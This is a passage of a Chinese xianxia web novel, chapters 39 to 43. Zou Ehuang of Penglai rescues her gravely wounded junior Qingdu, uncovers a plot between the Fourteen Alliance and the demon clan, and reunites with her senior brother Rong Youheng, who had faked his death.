若非她的名字叫邹娥皇,一个废物的代表,曲轻云根本不敢相信,使出刚刚那闻所未闻的一剑的人,居然也曾被人折过剑心。 昆仑苦舟扬名四方的小剑皇从未想过,在剑道这极其吃天赋的路上,居然也有后来居上、绝境反超的故事。 曲轻云沉眉。 一股灵气忽然从他的丹田而出,继而包围住了整个人。 堵塞多年的关窍开始重新运转。 “大师兄,大师兄,你是不是境界松动了?” 周围人一片喜色,围住曲轻云,此刻倒忘之前死了的那两三个同伴,张张脸上,未干的泪痕很快具被由衷的笑意取代。 毕竟这个世上三大喜事,不外乎,突破得宝死对家。 曲轻云没有答话,他只是沉气,一瞬间双剑从他手中迸发,剑鸣如盈盈水声,在半黑半亮的殿内惊起一片嘘声。 只见这美丽的双剑,绕着大剑飞了两圈,最后悬浮在邹娥皇走出的正门那。 “所有人,不准踏出此地半步。” 曲轻云闭目重声道:“违者,斩。” 第40章 你可愿成为蓬莱近百年的大师姐 对于修士而言, 如果说最常见的劫,还要在心魔和雷劫之间左右摇摆的话,那么死亡率最高的劫, 则是非生死劫莫属了。 顾名思义,九死一生,是为生死之劫。 青度第一次听说的时候,是在她继任蓬莱大师姐那一日。 彼时, 只有祭典上才能看到的道祖云无心坐在她对面,天下第一美人李千斛站在身侧为她扇风,懒散没正形的师父穿得出人意料的正式, 亲手给她正衣冠; 而离青度最近的是二师伯, 那个重剑不离身、在同门里算得上是对比惨烈的二师伯。 邹娥皇眼睫微垂,在青度袖口别上了象征身份的蓬莱镇魂兽。 “此为镇魂兽,蓬莱子弟, 只有一人能戴。” 二师伯温热的呼吸轻轻吹拂过她耳侧。 在蓬莱, 一场典礼最重要的人,除了受封者, 就是冠礼者。在邹娥皇为她别上绣兽头之前, 青度从没有想过,道祖在位的情况下,会是最不争气的二师伯主持这场加冕礼。 她盯着二师伯,看着对方质朴的黑剑,看着对方卷起的袖口, 看着对方无甚灵力波动的气息。 心里有些堵的慌。 倒不是瞧不起邹娥皇,只是青度更希望在自己这样重要的日子, 至少能是她让敬仰的人来给她做冠礼者。 至于她敬仰什么样的人呢也不一定非是道祖那类的大能,其实小师叔这类反杀成功的狠人她也敬佩;但无论如何, 不该是邹娥皇。 这个一直浑水摸鱼的师伯。 下一瞬,青度只听见了邹娥皇的一声叹息。 “你可愿成为蓬莱此百年大师姐?” 邹师伯的声音那时听着很冰很哑,“当了大师姐后,你要面临的不止是袖口镇魂兽的荣光,更是烈火烹油;你的背后将会有无数双窥测的眼睛最重要的是,蓬莱子弟,求闲求散,凡事均可避世而为,独有大师姐,不能。” “其他人可以此生不渡生死劫,闲闲散散富贵仙,青度,独有你,若你要成为蓬莱的大师姐,你只能万死中寻出一线生机。” “其他人可以躲在山门的后面,独有大师姐,你要挺身而出。” 青度怔然,却见对方将一支玉簪别在她头上。 “死劫不避,死局不弃,”邹娥皇道,“青度,你可愿意?” 愿意。 怎么不愿意呢? 月如霜,风如刀,狭窄的巷口处。 青度眼皮轻颤,她浑身上下的筋骨都断了,止不住的呻吟一下下地从牙缝中泄出。 她不知道拉住的那个人到底有没有用,她也不知道为什么被伤了的地方吃了丹药也不管用,她只是剩了一口气儿。 一口,一定要吐出来的气儿。 他们都说蓬莱人自私自利,守着一座孤岛不出,但他们不知道,蓬莱人连自己都不救。道义是万死不辞的蓬莱人,在意的其实不是那口阴阳彼岸的活气,而是要做的事,还没有做完—— 青度觉得,她还有很多事还没有做,她不能死在这里。 她没有脚踢昆仑,没有振兴蓬莱,没有突破元婴,没有力压曲轻云,没有得到师父的赞赏 她还没能见到师伯。 她要见到邹娥皇。 她得告诉她,十四盟,叛变妖族了—— 青度下颌的线条冷硬坚毅,被重重尸体叠压着,只有一双眼睛还在倔犟地睁着。 “青度!” 邹娥皇根据刚刚李三说的那几条路,跌跌撞撞地冲到了街口,在一片令人心慌的寂静里,她握着剑的手几乎在发抖。 一条漆黑窄小的小路,旁边有家关了门的店 是这条没错了。 一、二、三。 时间仿佛停滞了,除了树影婆娑声,邹娥皇颤颤巍巍的脚步声,她凝神去看,这片寂静的巷子里只剩下了几具穿着十四盟衣服的死尸。 她来晚了么? 就在邹娥皇手指冰凉之际,微弱的呼吸声忽然从隔壁的巷口处传来。 青度咬牙忍痛:“师伯你走错路口了。” 邹娥皇:“!” 看着三步并两步跑到眼前的师伯,青度终于安心地微阖上了双眼。 还记得那日加冕礼,青度曾问过师父:“为什么二师伯是我的冠礼者?” 为什么不是道祖。 偏偏是那么个不求上进愚不可及的二师伯。 而最后,青度记得,她那个一向和二师伯关系不好的师父,是这样回答她的:“邹娥皇不止是你的冠礼者,她是蓬莱的冠礼者。” “青度,有一种人呢,她初见平平,修为平平,样貌平平,独有一处,她气运不平,怀大功德。” 那个自恃清高不可一世的鱼澹,是这么和青度说的:“你让她成为你的冠礼者,就能被她的功德泽佑,是你欠了她的情。” “这代表着,如若将来一个地方一百个人里有九十九个都要死,你也是唯一一个活下来的。” 现在,青度呼出了胸前的那口气,万般不信也变成了信服。 …… 另一厢,圆圆的大圈里,三百号人炸开了锅。 双剑一出,气氛便变地拔刃张弩。 “昆仑的,你这是什么意思!” 洪兴龙朝地上呸了一口,“我敬你是昆仑大师兄,但也断断没有拘着咱们兄弟在这里的意思,到底出什么事了能不能说个明白话!” “什么违者斩,谁给你的权利!” “对,现在是十四盟管辖,立法分明,你敢强杀人,明日就算昆仑也保不住你!”几个汉子跟着洪兴龙一起嚷嚷道。 曲轻云轻叹了口气,“我以为眼下的情况已经够明白的了。” “诸位都是我从流仙酒楼带出来的,你们见到那石妖程度的妖怪,又见到了十四盟分部防护阵法损坏而无人惊动,难道不该明白,此时密州有异变么?” “或是此圈的外面,密州还有比石妖更大的麻烦;再或就是密州之外,出现了什么状况,无论哪种情况,按兵不动都是我们唯一的选择” 他话音落下,大殿再起喧嚣。 郑力蹙眉:“我不明白,我们在座都是修士,如今遇上事了,缩在圈子里有什么用,不应该出去看看到底是个什么情况么?” 曲轻云抬眼:“问题就在于,在并不知道是什么情况下,打草惊蛇只会白白送死,刚才的石妖之变,我的师弟们便是如此。实力不够的情况下,修士和凡人,并无任何区别,都是血肉之躯罢了。” 最爱硬着头皮冲的昆仑剑修,逢遭一场变故后,竟也学会了惜命。 一片寂静里,李三听了个大概,忍不住插嘴道:“仙长,我有一句猜测不知道当讲不当讲。” 这个穿着十四盟统一装束的练气修士,颤颤巍巍地走了出来,硬着头皮迎着众人目光。 “十四盟运转精密,时时刻刻都有人看守,哪怕真出了什么乱子也绝不存在空无一人的情况,若说什么外在的灾祸导致,那也是不该的,既然不是外乱那就是内患接下来这句话或许不该我这个还穿着这身衣服的人说,但反正我都被十四盟辞了,管他呢!” 李三咬牙,心里一横,到底还是说出那句: “曲仙长、诸位,你们有没有想过,是十四盟自己内部、或者说密州十四盟分部,他们自己出问题了?比如说,叛乱。” 叛乱这一词,在修真界其实有些草木皆兵。 二十年前那场妖族入侵下,有拼得个头破血流也绝不认输的硬气修士,就会有敌未至骨头先软的墙头草;毕竟匹夫之勇和审时度势,两者其实都算是人之常情。 对于前者,人们从不吝啬英雄的美名。 而对于后者,人们也从不吝啬唾骂,称其为叛乱者。 妖族入侵二十年后,那些叛乱者碍于人的身份,并没有被赶尽杀绝,反都销声匿迹藏于各大门派里。 不过毕竟那些血流成河再是伏尸百万都是二十年前的事了,所以李三这句叛乱者其实说的很隐晦,隐晦到在场的只有郑力和曲轻云反应过来了。 郑力倒吸了一口凉气,而曲轻云反应过来的一瞬就是爆喝一句:“住嘴!” 有的话李三可以乱说,但曲轻云作为昆仑大师兄,一定程度上代表了昆仑立场的人物,有的念头,他连想都不敢想。 他难道不知道比起密州一夜沦陷、外界出事,其实最有可能的是十四盟分部变乱么。 可曲轻云不敢想。 组成十四盟的是门派世家散修,如果一州之十四盟全线崩塌于一夜,那么这三方没有一方能扯开关系,昆仑也不会是例外。 更何况,曲轻云不觉得如果有能掌握十四盟一州之大的叛乱者,会是这么一个大张旗鼓的蠢货,有什么小动作就罢了,居然还要切断密州与外界的联系。 那不就是摆明了告诉别人密州出事了么。 但这思维缜密的剑修,是万万没有想到,叛乱者当然不会这么蠢,但架不住这些叛乱者这一辈子倒霉。 唯一一个大动作,就正好赶在了今夜。 今夜,何言知和容有衡追捕异目,封锁了密州。 而前世。 没有何言知的密州,一夕换权,无人注意。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第41章 为野心而灭种者,蓬莱不容 月光阴森地洒落在巷口, 死相惨烈的几个人叠成了小山。如果不是白雾的热气续续断断地飘出来,任谁都不会猜到这底下居然还有个喘气的活人。 当邹娥皇从尸群里将青度扒拉出来,她浑身都在发抖。 冷的。 无论是那些已经僵硬的尸体, 还是青度的胳膊,都是冷的。 邹娥皇想,伤口落在自己身上的时候,其实除了疼, 不觉得怎么、为何落在青度身上,却显得这样的触目惊心。 大约是因为,她总还将面前这个已经抽了条的大姑娘——旁人眼里克己复礼的蓬莱大师姐, 当成一个要人抱才肯多读一页书的小女娃。 大约是因为, 这小娃娃曾经黄尿洒在了她身上,所以无论日后的青度脸板的如何生硬,邹娥皇却也总肯将她当做一个小姑娘。 青度永远都不知道。 那日冠礼, 蓬莱道祖一行人一开始从没想过让邹娥皇来当冠礼者的, 而是选了李千斛;因为他们觉得邹娥皇的功德泽备蓬莱已经算得上吃力,哪有专程为一个小辈再去折损功德的做法, 毕竟修真界众所周知的, 功德之力获得条件苛刻,比突破还难。 纵使青度再重要,蓬莱也做不出这样寒人心的事情。 是邹娥皇,在冠礼的前一夜主动请缨的。 她说,这是她看着长大的孩子, 她想力所能及地,再帮她一次。 哪怕青度自己都忘了牙牙学语时的那些糗事, 忘了曾经有个爱剑如命的师伯愿意为她解下厚剑只为了背着她,忘了七岁正式启蒙修仙之前, 对她最最熟悉不是鱼澹的志在峰,而是邹娥皇的九辉峰。 哪怕在长大了的青度眼里,邹娥皇只是一个陌生的师伯,不起眼的师伯。 可是、 邹娥皇总不会忘的。 可是、 邹娥皇想,而我原来竟帮不了她。 冰凉透明的泪珠砸在了青度刚刚被包扎好的小腹上,被泪珠烫到的人比流泪的人还要不知所措,喃喃道:“师伯,你哭什么?” 被人嘲讽时心平气和,被人厌气时不见怒容,就连之前断了臂也不过就是一笑了之的邹娥皇,居然也是会哭的么。 邹娥皇未答,轻抖着声反问:“你金丹没了?” 青度怔愣了一下,然后低头看了下腹部,笑的惨白:“师伯我说怎么被打了那一下就吐血倒在地上,他们也不检查检查我断了气没,原来是因为,金丹没了。” 金丹没了,动手的人自然是没想过有人还能忍着痛活下去的,旁边那些个新鲜的尸身,就是最好的例子,大多都是在血还没流尽前,咬着舌头死的。 青度最后那四个字,金丹没了,放得很轻。 落在邹娥皇耳边的时候,却像是轰轰然的巨雷。 但是那个一向视修为作命根子的大师姐,这个时候反而很从容,视线只落在自己的小腹一刹那,就很快转移了注意力,说起了正事。 青度定定地看着邹娥皇唤:“师伯。” “密州分部的十四盟出问题了。” 青度忍着痛抻手,从怀里抽出了一张纸条,交给邹娥皇看。 “当时出了那个门,我在酒楼的路上遇到了这群人。”青度拿眼神看向那堆死尸。 “他们看见我穿着蓬莱的衣服,就喜气地围了上来,说有救了,将这封检举信塞给了我接着路口前就突然走出了个长着一对翅膀四只眼睛的东西,速度很快,很强,动手之后,在场人包括我都不能撑过半柱香。” 青度顿了顿,却是问:“师伯,我听师父说过,妖王一脉,天生复眼长翅是真的么?” 邹娥皇低头将一张薄纸翻来覆去看了三遍,通张纸上不过三行字: ——密州十四盟有叛乱。 ——有人与妖界勾结。 ——即将潜伏于一处洞天福地动手。 熏黄的薄纸上,还有一层心魔誓。 在确认这上面的天雷心誓属实后,邹娥皇才抬起头来看向青度:“你遇到的那只妖,是不是浑身红毛,化人形,但是手还是爪状?” “是。”青度肯定道。 “那就没错了,你遇到的是妖王久俊一脉。” 久俊一族和别的不同,它们血脉传承极其霸道。还记得那年妖王刚死,妖族动荡,所有妖盯着妖王之位虎视眈眈,但是最后竟都打不过妖王遗留的那个三岁稚子。 盖因,传说中久俊一族和天道做过约定,它们抹去自己的姓名,只有一个族的概念,于是得到的血脉传承里,父死,子继其力。 妖王死的那日,它三岁的儿子,在一夜之间继承了它的半身修为。 应该就是青度遇到的那只了。 邹娥皇想起了什么,补了句,“你大师伯当初也碰到过一只久俊。” 大师伯? 容有衡? 这个名字在青度的回忆里就像是一层薄薄的纸张,从未曾接触过,所以能想到其实只有那极其惨烈的一死; 还有那场死带来的后果——蓬莱弟子这小二十年在昆仑面前都被压了一头。 青度神色微妙:“我知道,他死了。” 邹娥皇将青度背在身上,脚下踏剑,疾驰而行。 “不,他还活着。” 青度不知道邹娥皇要去哪里,只好趴在她背上,屏神仔细听。 邹师伯说:“青度,咱们要去找他。” 邹师伯又说:“他就在密州。” 妖族入侵,此事非同小可,邹娥皇纵有一剑之力,也无法稳住一州;而在密州她唯一能确定的和妖王一脉斗个不相上下的,一个是容有衡,一个是何言知。 相较于后者而言,前者至少能确定立场。 她轻轻吐出一口气,无论如何,现下虽然情形复杂,但有两个好消息,就是一,青度活着。 二,何言知这位大乘,目前还不在敌对面。 只是不知道为什么,原书世界中竟完全没有提过密州妖族十四盟勾结这件事。 青度没问邹娥皇为什么这么笃定容有衡还活着,甚至就在密州。她只是说:“师伯,蓬莱真的要插手这件事么” 邹娥皇:“怎么这么问?” 青度迟疑道:“蓬莱,上一次妖族入侵就未曾插手过,容有衡…大师伯想要下山还要自断一臂才得以。蓬莱飞于十四州之外,是天上仙岛,不该沾染这些因果的” 邹娥皇:“这不是你会说的话。” 青度咬牙:“十四盟算不得什么,但是十四盟由门派、世家、散修三部分组成,如果这里面出了问题,蓬莱也难咎其责,与其闹大,不如按兵不动,放长线,钓大鱼。” 邹娥皇叹了口气:“这个也不对,跟我可以说实话。” 青度声音忽然沙哑了,“蓬莱和其他仙门都不一样,道祖本体是云,我师父本体是龙,蓬莱弟子四成皆是半妖我们这个门派,和旁些对于妖苦大仇深的仙门比,本就立场不纯。” 对于一个门派来说,或者对于一个集体来说,最重要的其实就是凝聚力了;而青度作为一个人,一个天生和妖族就是对立面的种族,被妖掏了金丹的天之骄子,在此刻竟也是仍然不愿意蓬莱参与这场浑水的。 她是蓬莱大师姐,她要担心的不外乎就是那么一件事,怕蓬莱人妖心散了。 青度忐忑的声音落下,却久久未听得个声儿。 她懊恼地闭眼,心想这事果然还是闭嘴咽在肚子里好,不该同师伯说的 下一瞬,却只听得邹娥皇沉沉道:“孩子,你在蓬莱长大,你就是这么想蓬莱的么?” “蓬莱不曾参战二十年前那场,并非惧怕因果,并非想要坐享渔翁之利,并非因门派内半数妖血——” 青度怔愣,没想到邹娥皇会这么回。 她指尖无意识地抓紧对方的衣服,问:“那是因为什么?” 邹娥皇付以一笑,回道:“很简单。” “我们都是人,能交流的伙伴大多也是人,或者有了人的思维,哪怕在蓬莱,你从小到大能听到最多的,也不过是妖族入侵,人族死了多少人,天下多了多少个孤儿,但没有人会告诉你,妖族为何要入侵。” “人族呱呱落地便是人,有了灵智;而妖,则百兽不成一妖,于是它们天生数量就少些,于是你看,如今天下十四州,四州归于妖族,是不是也算得公平。” 青度掷地有声:“是,人族数量是妖族十倍不止,分四州给他们,自然算得公平,可它们竟贪心不足象吞蛇,如今竟还要谋划无赖至极。” 邹娥皇摇头道:“它们不是贪心,它们只是明白了,会哭的孩子有奶吃。” 什么? 青度又愣了。 “在二十年前那场妖族入侵之前,天下十四州,俱为人族所在地,而妖,是畜牲,不得活路。” 邹娥皇轻声道:“青度,蓬莱二十年前不出手,是因为这场人妖之争,人族从一开始,就不是输在了战力,而是输在了心。妖族不得不打,在那个条件下,没有久俊一脉,也会有十俊、七俊、八俊,直到它们能找到修养之处。” “但是这一次不一样了。” “青度,”邹娥皇认真道:“这次它们是无名之师。” “为了野心而行者,蓬莱可容;为了野心而灭种者,蓬莱、不容。” 第42章 那场天火,不是为了石妖,而是为了白泽。 密州之大, 纵横千里。 天下十四州,人州共十,密州在这其中, 绝对算得上是幅员辽阔的一州。五千年前,夏帝划分十四州的时候,密州作为他最后分出去的一州,没有富裕的灵气, 就只能拿地来补全。 要在这里找一个人,绝非易事。 但如果要找的这个人是容有衡,那对于邹娥皇来说, 不会有什么比这更简单的事情了。 大约天下师兄总是一个德行。 甭管在外面是多么心思缜密之辈, 又是多么笑里藏刀之人,哪怕是威震天下的真君,或是扬名立万的强者, 在自家师妹面前, 总是要丢个脑子的。 上午,大殿初遇之际。 在容有衡心神动荡想他师妹居然能主动开口喊他回去的时候, 邹娥皇早已借着擦肩而过在容有衡身上埋了一根灵丝。 哎。 邹娥皇叹了口气。 师兄, 不是师妹想盯着你,是老祖这小二十年太想你了。 今日就算没出这些岔子,邹娥皇也做好了准备把容有衡打包带走的,先前那句“在外面呆累了,就回来吧”其实只是一句客套话。 漆黑的剑身划出一道闪亮的平光, 邹娥皇立在上面,半响却忽然听到身后青度微弱地喘息:“师伯——” 邹娥皇心道不妙, 紧张地一搭青度的手脉,须臾松了口气。 “没事, 伤口基本都在愈合,怎么了?” 却只听见哇地一声空呕,青度咳咳了一阵,道:“师伯,你御剑的时候,是拿中指与食指御的,还是拿中指和小拇指御的。” 邹娥皇纳闷地摇头,“何出此言,《教你修真一百套》里面不是说要拿脚的大拇指御,才飞的好么。” 青度噗地咳了一声,艰难道:“师伯,你难道不知道么编写教你修真一百套的是咱们岛上那原型是千足虫的同门它本来,就没有手。” 靠! 就说那只蜈蚣怎么没见它拿剑飞过。 邹娥皇急急换了手势,然而剑气横流,脚趾微麻,整个人连带着背上背着的青度,就好像是天边须臾一闪的流星,唰地朝着一个目的地撞了过去。 青度:一时分不清,师伯救我还是害我。 周围的* 场景极速地穿梭,天片的飞云被不断撞散,疏散的房屋逐渐被紧凑的书院取代,黑白一片的瓦砖,邹娥皇眉心一跳,只听得青度一边咳咳一边哑着声音道:“这是,何城?” 容有衡怎么会在何城。 嗡地一声。 只见剑气回龙,剑尾发颤。 眼见离地面愈来愈近,邹娥皇来不及思考。 她手忙脚乱,在即将以头创地的前一刻,背着青度纵身跳下了剑。 重剑垂地,砸了几丈深。 连带何城街道完好的砖瓦也被剑气激出一道道裂纹。 漆黑的夜里,尘沙四起。 不远处的半丈,裹着狐裘的书生脚步一顿,拢住的狐裘竟情不自禁地松开,极尽怔然。 而他身侧的男人似有所感,转身回头,与邹娥皇对视。 微风吹起容有衡鬓角的碎发。 此刻他已经卸了星盘的伪装,显露出昔日的真容。 于是乎命运般地,邹娥皇也抬起了头,和她的大师兄遥遥对望。 十四盟散修的衣服偏白,版型宽松,落在谁身上都容易看起来虚头巴脑地,偏偏在这个容有衡身上,邹娥皇瞧见的却尽是仙风道骨。 还记得刚刚拜入道祖门下几年时,她也曾被大师兄这身皮囊蛊惑过。 好在最后,从道祖口里得知师兄修炼的道法是至纯太极功后,邹娥皇就立即断了心思。 毕竟,这玩意儿听起来就跟童子功一样。 要戒欲的。 而等后来,邹娥皇即使了解这功法并不需要保持童子之身,她看大师兄脑子也转不过来了,自动地把一个容有衡代成了一个头皮锃亮的出家人。 黯淡的夜色,微弱的烛火,半丈的距离。 容有衡抬眼觑见邹娥皇的时候,先看见的却是花白的发。 而姑娘的眼睛,正灼灼发光。 容有衡薄唇微抿。 “师兄,”邹娥皇抬手从地上撑起来。 她慢吞吞地放下了背在身上的青度,指了指前面的容有衡对青度道:“看见没,那就是你素未谋面的大师伯、在外面假死二十年的大师伯。” “假死二十年”这句话被她着重拖长了语气。 容有衡揉了揉眉。 “别闹了,师妹。” 他轻呼了一口气:“关于二十年前的假死,过段时间我回去和道祖亲自请罪。” 容有衡还想说什么,却只听得身后那惹人嫌的酸儒越过他,轻咳了一声,“小邹。” 何言知神色自若,既不在意容有衡的嗤笑,也不在意邹娥皇厌倦的冷脸。 他拢了拢刚刚跌落的狐裘,轻声道。 “有什么事,进去说罢。” 都说百无一用是书生,何言知从前万般不服这句话,但如今他竟不得不服。 此刻,他竟连抬头看她的勇气都没有。 …… 何家大院。 作为一个纨绔子弟,何富贵作息极其的健康,从没有在太阳落山之后熬过夜。 除了今天—— 今日,他先是被那个喜怒无常的圣人薅了起来去讲这三千年的大局变化,然后就被人定在寒风里冻了半个时辰。 好不容易解开封印后,何富贵浑身关节还没舒展两下,就开始站在这大殿里为这四个人端茶倒水…这四个人里面还有个白发女修曾拐走的是他老婆。 夺妻之恨,不共戴天! 何富贵悄悄给邹娥皇的茶里多放了几片茶叶,苦不死这吖的。 而等他刚刚泡好茶,就听那圣人眉眼不抬地道:“你出去吧。” 何富贵:“得令。” 何富贵心气不顺地退出去,将门合上,嘘长叹短,对月悲伤自己这无常的命运——从风光的纨绔子弟,变成了名义上的家主,实际上的小厮。 而真正的小厮,这个时候还兢兢业业地站在这少爷身边,“天冷了,爷,您要的一两小食不要皮已经为您备好了。” 何富贵被扰了兴致,张嘴便骂了句去去去,拔腿走了。 殿内,渺渺香烟从角落里升起。 邹娥皇迅速地将妖族和十四盟的事情从头到尾讲了一遍,然后就听容有衡讲起了这边的事。 邹娥皇:“你是说,密州是你们两人封锁的,和妖族没什么关系?而妖族与十四盟勾结,只是正巧在今日被我们撞上了。” 容有衡点头:“是。” 好,邹娥皇呼出了口气。 她总算明白为什么原书里没有这段了,因为原书里妖族根本没想过要在这个阶段就搞什么大动作出来,现在属于是半道干了一半就被提前发现了。 “为了这个东西,你封锁密州,叫它异目?” 邹娥皇掐着容有衡递交在她手上的透明魂体,又问。 “异目又是什么?” 容有衡忽然笑了,他抬起头盯着邹娥皇,轻声道:“师妹,你相信这个世界上有神仙么?” 另一旁,一直低头做哑的何言知闻声神色微变,容有衡这句“相信有神仙么”,竟让他想起了昔日周平问的那句:你信命么。 两个半斤八两的二道混子。 邹娥皇摇了摇头,如果是在现代,她大约还能信个财神爷,但是在这里,这本书里,如果真的有神仙,那不如说就是原作者,拿笔写作的原作者。 容有衡眸色发深:“那你信,本界有人能飞升么?” 邹娥皇沉吟片刻,却是说:“师兄,你什么意思。” “直说吧,我脑子不好用。” 容有衡轻笑了声,“你不是好奇异目么,这异目,就是和飞升的人有关系。” 这句话落下,无论是坐着的何言知,还是躺着的青度,此刻都不由将目光放在了容有衡身上。 “一百年前,谢城亡于石妖之患,天火滚滚燃烧之下,所有人都说神兽白泽死于此患。师妹,我知道你去了一躺谢家,”容有衡抿嘴,“我问你,那场天火,真的只是为了一只石妖么?” 邹娥皇眨了眨眼。 她不懂容有衡为何忽然顾左而言他。 她只是顺着回答了下去,“天罚是天道为了修正并约束世间而存在,分为天风、天火、天雨、天雷。天火者,主杀欲;天火之下,虐杀者必被焚之。白泽是瑞兽,石妖是灭一城的凶兽,天火杀的只能是石妖呀。” 容有衡:“在你没跟我说你这次在密州遇到了那只死里逃生的石妖之前,我也是这么想的,天火天火,要焚的当然是有罪者了。可是事实上,死在那场火里的,除了谢家,也就只有那么一只瑞兽。” 容有衡闭上眼,轻轻地笑了。 他重生这么一次后,直到此刻得知石妖没死的消息,一切的思维才终于被理顺。 石妖没死,死的是白泽。 那么那场天火,一开始要杀的就不是恶贯满盈者,而是破坏规则者。 神兽白泽,代天听耳。 这个天,到底是天道,还是天上的疯子呢? 前世他一直以为异目的存在是在最后的那几年,上界之神按耐不住;但这一辈子,他终于明白了,师妹复活何言知那日,并非是异目第一次出现。 大约还要往早里推。 在上界之神豢养在谢家用来窃听本世的白泽死后,异目,就是新的眼线了。 看着容有衡的神色,邹娥皇心尖一寒,低声道:“你是说,那场天火,不是为了石妖,是因为白泽——” 下一瞬,耳边却突然传来了阵阵雷声。 这句话竟触发了天道。 邹娥皇视线一转,窗外夜色乌黑一片,并无什么电闪雷鸣,她心里正纳闷,一回头却只看到何言知面色惨白,左臂流出了乌血。 哦。 邹娥皇想起来了,此刻覆盖在密州上空的,是何言知的星盘。 所以如果有雷落下,那一定也是先落在何言知身上的。 虽然不太好,但是容有衡看见邹娥皇抿嘴含蓄地笑了。 哎。 古有为博美人一笑千里戏诸侯的昏君,今有他容有衡为博师妹一笑引天雷下届。 何言知看着摇头晃脑的容有衡,默默压碎了瓷杯把。 虽然不知道这男的在得意什么,但是看着就很不爽啊,而且现在劈的人是他啊喂。 第43章 我救你,是因为我之前拿你当朋友 明亮的殿内, 何言知低头沉眉,落在了半臂蜿蜒流下的乌血上。 气氛诡异地停滞了一瞬。 天雷在修真界算得上是最常见的天罚之一。每个修士突破的时候多多少少都经历过几次,说一句家常便饭也不为过。 但这也不能代表天雷好相与。 特别是, 当天雷劈的不是整个人,而只是一段手骨锻造的星盘的时候,这天雷威力自然就更浩大了。 ——当雷霆万钧局限于一点后,哪怕是大乘圣人, 也难免要伤筋动骨。 而何言知目光凝在乌血上,顿了很久。 昔年,何言知还在当儒将的时候, 最是个事多儿的, 那个时候不知道从哪里学的规矩,每每阵前,他一定要换上一身浅色。 寻常将士都是穿玄黑色的铁甲, 独有这一位圣人的脾气大, 仗着本事,赤手空拳走于前线, 一场战役下来, 前后左右都浴血奋战,偏他浑身轻巧,闲庭信步,得了个书生将军的美名。 略微知道些何言知脾气的周平,扶额苦笑:“哪里是什么书生将军?分明是这事儿精穷讲究, 不爱沾血,不好洗。” 是。 他就是嫌血脏。 何言知垂眸出神地想, 他是从什么时候厌恶起血的呢。 或许是老乞丐死的那天,粗糙的麻服里渗透出一层恶臭的血。 自那时起, 他就恨了这样的颜色。 但是为什么,何言知望着此刻手臂上流出来的乌血。 他想,为什么此时—— 不觉得疼。 竟只觉得痛快。 昔年的旧友此时就坐在他对面,而纵何言知有三寸不烂之舌,能在阵前劝降敌将;可面对这眼珠子透亮的姑娘,他也只能默默地咽下了所有寒暄。 甚至直到此时,才敢微微抬起头。 那颗心已是忐忑至极,在算自己这一臂一星盘,要得了这样的几劈,才好叫友人消了气。 “大师兄,本世并没有飞升之人。” 但另一边,邹娥皇并没有多看一眼何言知,也不会懂他的忐忑。 她只是专注地思索容有衡说的话。 “你说异目和飞升之人有关,到底是什么关系?以及刚刚” 顾忌到天雷,邹娥皇还是收住了口:“又是怎么回事?” 她收住了口,但容有衡不会。 容有衡巴不得看着何言知再被劈几次,最好劈个浑身发焦。 只听这容真君微微笑回他师妹道:“本世自然是有飞升之人的——” 轰隆隆! 那声势浩大的雷声再度响起,而天色如常。 何言知面无表情地摁住了流血不止的手臂。 邹娥皇和一旁躺着修养的青度听得倒是很认真,似乎一点也没被雷声影响。 容有衡笑意微扬,慢悠悠又道:“只是后来出现了一支笔,抹去了他们的痕迹——” 又是一阵轰隆隆! 随着第三声震雷轰然响起,覆盖在密州外的星盘,也透出了电闪的白光。 何言知硬生生地咽下了喉咙的一口血。 他眸间暗色翻涌,终于是忍无可忍。 方寸大小的桌子上,只见何言知十指墨迹起,浓重的墨字涨起,穹劲有力的“寂”字张牙舞爪,就要直逼容有衡而去。 可惜那位是容有衡。 世人都知,蓬莱山、平月道君容有衡,举世无双。 他还没假死之前,连宴霜寒也要避其锋芒。 见了那墨字,容有衡只付以轻蔑地一笑:“何言知,你确定,要和我打架?” 何言知也是一声轻笑:“对。” 对? 容有衡神色莫名,转身对着邹娥皇啧啧道:“师妹你看,有的人就是这样,次次抓不住重点,上次也是,这次也是,每次都在十分紧要的关头拖慢大家的进度。” 哪来的白莲花 何言知吐出了一口郁气。 他觑了一眼对面的邹娥皇,再是蓄势待发的字也只能先按了下去,面色不虞地收手。 软榻上,青度总觉得这几个老妖怪之间的氛围有些怪怪的,她半撑着身眯眼望去。 不确定,再看看。 凡间好像有几个本子里面讲的什么修罗场,好像就是这样。 啧啧啧。 面对争吵,邹娥皇叹了口气。 经历了一天变故,她略显疲惫,对这些个贼喊捉贼,无力道:“大师兄,别闹了。” 邹娥皇总觉得现在的容有衡和她记忆里有些出入,但好像又比她记忆里多出了些活气儿,不再是那个沉稳可靠的天才师兄,反而像 七八岁的半大小子。 人嫌狗憎的。 “我还是没懂那异目和飞升有什么关系,也不知道白为何才是那天火要诛杀的。但是我大概懂了一件事情,就是封锁密州是为了抓住异目,十四盟混进来的久俊一族根本没想过今天动手。” 原书里对此半句未提,就是最好的证明。 “也就是说,现在我们需要两拨人。” 邹娥皇:“一波去拦住那群妖族,或者说,至少搞清楚它们目前有无威胁,这件事需要一个具有一定谈判能力的人,这个人还要具有一定的实力,毕竟对面有一只王级久俊。” “另一波去追踪异目。” 青度在榻上,闻言身子一抽一抽地就想翻身下来。 不料刚弄出点动静来,就被邹娥皇一只手按了回去,“躺好,别乱动。” “你好好养伤,小孩子不要参与大人的事情。” 青度抿了抿嘴,还要挣扎,就被邹娥皇弹指间定住。 好不容易救回来的一条命,可不能再叫这娃娃作掉了。 确认定住青度身后,邹娥皇转过头来,慢吞吞地问面前的两个男人:“你们觉得呢?” 容有衡说:“不错。” 何言知也说:“很好。” 要去妖族游说的任务,显而易见不适合开嘴就能气死一堆人的容有衡,也不适合没怎么骗过人的邹娥皇唯一说得上有几分经验的谈判专业户,就剩下了入过朝,当过言官的何言知。 更何况,因为主场优势,何言知手握密州令,比起旁人,总是更容易发现密州什么地方的蛛丝马迹,继而找到妖族一行人。 而另一个追捕异目的任务,在场唯有容有衡对其略知一二,自然也不肖分说。 所以,这三人里。 唯一不确定的,其实也就剩下了那么一个人。 就连软榻上不断挣扎的青度,此刻也有所预料,将视线转到了娥皇身上。 邹娥皇摸了摸自己的脸,“你们看着我做什么?” 容有衡啧了一声,从椅子上起身,他似笑非笑地乜了眼何言知:“何圣人,咱们就此在这别过,相信以你的实力,拦住一群小妖不在话下,我和师妹就去追捕异目了。” “真君哪里的话,”何言知亦假惺惺地笑了下,“去拦妖族我自然义不容辞,我虽然醒来的时间晚,但已听过真君和上一任久俊惨败的一战,自然不能让真君再伤怀一次了。” 